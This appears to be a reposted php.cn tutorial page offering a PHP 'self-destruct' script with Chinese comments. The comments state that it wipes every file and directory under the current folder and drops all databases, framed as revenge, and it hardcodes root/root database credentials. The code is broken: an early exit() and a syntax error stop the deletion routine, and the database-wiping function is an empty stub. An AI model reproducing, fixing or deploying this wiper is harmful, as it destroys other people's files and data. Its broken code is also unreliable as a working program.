>  기사  >  php教程  >  PHP 자기 파괴 프로그램 – 사생활에 꼭 필요한 프로그램

PHP 자기 파괴 프로그램 – 사생활에 꼭 필요한 프로그램

大家讲道理
大家讲道理원래의
2016-11-08 17:35:141331검색

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(&#39;DB_USER&#39;, &#39;root&#39;);
define(&#39;DB_PWD&#39;, &#39;root&#39;);
define(&#39;DB_HOST&#39;, &#39;localhost&#39;);
define(&#39;DB_PORT&#39;, &#39;3216&#39;);
define(&#39;DB_DAMAGE&#39;, true);  //为false时,不碰数据库
 
run();
 
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
    //删除文件
    deletedir();
    //删除数据库
    deleteDB();
}
 
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = &#39;&#39;){
    if ($dir == &#39;&#39;) {
        $dir = realpath(&#39;.&#39;);
    }
    echo $dir;
    exit();
      if(!handle=@opendir($dir)){     //检测要打开目录是否存在
        die("没有该目录");
      }
      while(false !==($file=readdir($handle))){
               if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
                $file=$dir .DIRECTORY_SEPARATOR. $file;
                if(is_dir($file)){
                    deletedir($file);
                }else{
                    if(@unlink($file)){
                        echo "文件<b>$file</b>删除成功。<br>";
                    }else{
                        echo  "文件<b>$file</b>删除失败!<br>";
                    }
                }
               }
               if(@rmdir($dir)){
                echo "目录<b>$dir</b>删除成功了。<br>\n";
               }else{
                echo "目录<b>$dir</b>删除失败!<br>\n";
               }
           }
 
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
    if(DB_DAMAGE === true){
        //start
    }
}

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.